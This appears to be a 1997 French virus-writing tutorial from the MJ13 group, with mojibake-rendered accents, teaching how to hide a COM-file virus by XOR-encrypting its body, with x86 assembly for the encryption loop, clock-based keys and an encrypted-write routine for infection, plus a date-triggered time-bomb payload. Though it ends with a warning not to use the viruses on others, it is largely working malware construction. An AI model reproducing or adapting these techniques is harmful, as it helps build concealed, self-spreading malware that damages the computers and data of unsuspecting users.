!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)! Virus - Encryption !(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)! Si vous avez regarder un fichier infect‚ par un ‚diteur hexa , vous aurez surement remarqu‚ que le virus a un *.com a la fin du fichier ce qui est g‚nant car on pourrait suspcter la pr‚sence d'un virus , on ne peux l'enlever , c'est la ou l'on doit endormir la confiance de l'utilisateur en camouflant cette zone de texte , ce processus fais appel a la fonction XOR car c'est le moyen le plus simple pour encrypter prennons l'octet 42 "*" xor 10 par exemple et nous avons 33 , quel bonheur , mais comment revenir a l'octet 42? nous avons juste a faire 33 XOR 10 et nous reobtennons la valeur 42 J'ai expliquer ici comment utiliser ce proc‚d‚ sur des non-recover COM , pour les autres types de virus , creusez vous la tˆte d'aprŠs le sh‚ma ci dessous - Encrypt proc near ; routine d'encryption ; d‚cryption LEA SI,[BP+DEBC] MOV CX,finc-debc MOV DL,BYTE PTR[BP+CLE] ; nous mettons en SI l'adresse ou commencera l'encryptage ; puis nous fixons en CX le nombre d'octet a crypter ; on fixe ensuite dans DL la cle de cryptage , vous pouvez toujours choisir ; une cl‚ par exemple de 10 ou en prennant les milisecondes ou bien en prennant ; la tailler du programme infect‚ donc cle peux recevoir des nombres ; diff‚rents a chaque encryption Looping: XOR BYTE PTR[SI],DL INC SI Loop Looping ; fais une boucle sur looping jusqua ce que CX soit ‚gal a 0 , donc il va ; encrypter le nombre d'octet qui sera fixer plus haut RET ; retour endcrypt endp CLE: DB 0 ; se trouve kelk part dans le virus ; dans une zone non crypter - on determine la zone a encrypter par debc et finc parmi ce qui ne peux se trouver dans cette cat‚gorie nous avons le r‚apointeur d'adresse , les octets sauv‚s du fichier infect‚ et la fonction encrypt decrypt et aussi les octets qui ‚vitent la r‚infection du virus sur lui mˆme , vous pouvez ais‚ment encrypter des bouts de codes eux mˆme mais attention , ils ne doivent plus ˆtre utilis‚ par la suite sinon il faut les d‚crypter en temps voulu donc : --> lancer Encrypt aprŠs le r‚apointeur d'adresse et avant l'ouverture d'un programme CALL CRYPT --> determiner la cl‚ puis lancer Encrypt avant d'‚crire les octets sur le fichier infect‚ MOV AH,2CH ; lis l'heure INT 21H ; DL = milisecondes MOV BYTE PTR[BP+CLE],DL ; fixe DL comme cl‚ d'encryption CALL CRYPT maintenant supposons que l'on veule encrypter tout le virus enfin le maximum possible , l… vous avez remarquez que l'on ne peux modifier les octets suivant l'appel a l'encryption sinon au aurons droit au plantage royal , la solution est simple : remplacer l'appel 4021h ( fonction 40h int 21h) par une routine qui se chargera d'encrypter , ‚crire , d‚crypter - writeon proc near MOV AH,2CH INT 21H MOV BYTE PTR[BP+CLE],DL CALL CRYPT MOV AH,40H LEA DX,VIRUS MOV CX,JOFFSET-VIRUS INT 21H CALL CRYPT writeon endp - Donc : il faut modifier la structure du virus en deux parties Zone non crypt‚e : R‚apointeur d'adresse Octet sauvegard‚ Encryptage/D‚cryptage Octet anti-r‚infecteur La cl‚ de cryptage proc‚dure d'‚criture Zone crypt‚ : Le reste ... il devra 1ø r‚apointer les adresses 2ø d‚crypter le code encrypt‚ 3ø ouvrir un fichier prˆt a l'infection 4ø ‚crire le code encrypt‚ et le d‚crypter pour la suite des op‚rations 5ø clore le fichier 6ø retourner au porgramme principal Et ne pas oublier de changer l'endroit ou devra se faire la comparaison pour eviter la r‚-‚criture vous pouvez la placer ou vous le d‚sirez dans l'espace qui ne sera pas encrypter J'ai modifier mj13-a et a1 pour l'exemple , zieutez les si vous avez des probs !(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)! Virus - Trojan !(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)!ÄÄÄÄ!(õ)! Vous avez tous entendu vot' papa raconter l'hitoire du chval de Troie , non ? bah c'est Les grecs(les gentils) qui n'arrivaient pas a prendre une ville chez les m‚chants , alors ils eureut l'id‚e de g‚nie de leur offrir un ‚norme cheval avant de repartir chez eux , mais il avait cacher des gentils guerriers dedans et il allait prendre la ville d'assaut la nuit En r‚sum‚ c'est le principe d'une bombe a retardement et l'on peux appliquer ce proc‚ssus aux virus , nous avons juste besoin de 2A21H - Trojan proc near mov ah,2AH ; lis l'heure INT 21H ; par le dos CMP DH,6 ; compare le mois avec 6 JA OK ; si plus grand ÄÄÄ> ok CMP DL,30 ; compare le jour avec 30 JA OK ; si plus grand ÄÄÄ> ok JMP RETOUR ; retour ; Inserez votre programme ici OK: MOV AH,9H LEA DX,[BP+TM] INT 21H loop looped RETOUR: TM: 'MJ13-ACT BY UNKM '97 ',0 Trojan endp - regardez dans MJ13-ACT.asm pour si vous avez des probs faites un call a trojan aprŠs l'infection car pendant cette routine , le CTRL-C est permis et on pourra alors crasher votre virus sans qu'il n'ai pu infecter quoi que ce soit. Pour ma part j'‚vite tout code destructeur du genre bousill‚ la fat etc etc , je trouve ca inutil ATTENTION !!! ces virus ne se propage que dans le repertoire ou ils se trouvent donc votre ordinateur ne risque rien , les virus cit‚s ici ne sont la que pour exemple , NE LES UTILISER PAS CONTRE AUTRUI - Thanks to guillermito pour ces judicieux conseils *+*+*+*+*+*+*+*+*+*+*+* ÄÄþ MJ13 þÄÄ Ä{( UnKm )}Ä '97 May the force be with you Don't forget , Call me at zorohack@hotmail.com